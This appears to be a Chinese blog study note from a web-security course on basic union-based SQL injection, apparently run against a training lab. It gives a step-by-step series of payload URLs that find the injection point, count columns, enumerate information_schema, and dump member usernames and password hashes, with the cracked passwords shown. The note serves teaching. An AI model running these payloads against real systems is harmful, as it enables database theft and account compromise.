WEB漏洞-SQL注入之简要SQL注入

SQL注入漏洞是是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。


#SQL注入安全测试中危害

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

#SQL注入产生原理详细分析

见案例

SQL语句在定义的时候没有变量,就不能进行SQL注入

可控变量,带入数据库查询,变量为存在过滤或过滤不严谨

#可能存在注入的编号选项有哪几个?

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10

www.xiaodi8.com/?id=10&x=1

www.xiaodi8.com/index.php(post注入)

#参数有x注入,一下哪个注入测试正确? b、c

a.www.xiaodi8.com/new/php?y=1 and 1=1&x=2

b.www.xiaodi8.com/new/php?y=1&x=2 and 1=1

c.www.xiaodi8.com/new/php?y=1 and 1=1&x=2 and 1=1

d.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1

#如果参数id存在注入点

http://www/cnhgs.net/main.php?id53(注入点)&page=1

- > http://www/cnhgs.net/main.php?page=1&id53(注入点)

必要知识点:

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

如何判断注入点?

老办法:

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

逻辑运算符

或 且 非

or and xor

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真

真且假=假

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

不能用or判断

要选用最舒服的方法测试:

SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞

#猜解列名数量(字段数)

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

http://219.153.49.228:43230/new_list.php?id=1 order by 4

#报错猜解准备

http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20%20select%201,2,3,4

http://219.153.49.228:43230/new_list.php?id=1%20and%201=22222%20union%20%20select%201,2,3,4

#信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名字:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,database(),version(),4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

查询所有:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

#查询指定表名StormGroup_member下的列名信息

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

id,name,password,status

#查询指定数据

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

#猜解多个数据可以采用limit x,1 变动猜解

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

mozhe

356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

mozhe

a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003

!https://cdn.nlark.com/yuque/0/2021/png/1272951/1621318387933-023cfd3a-1af4-46c6-9d65-12841332ef89.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1406%2Climit_0

案例

简易代码分析SQL注入原理

接收数据 -> 拼接数据 -> 数据进数据库执行 -> 展示结果

!https://cdn.nlark.com/yuque/0/2021/png/1272951/1621319532337-7397f786-49fe-471b-879e-c74232526d68.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1022%2Climit_0

通过参数传递到拼接好的SQL语句中,由于是拼接语句就可以将一些恶意的SQL语句拼接到上面,来实现恶意的SQL语句执行的效果

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值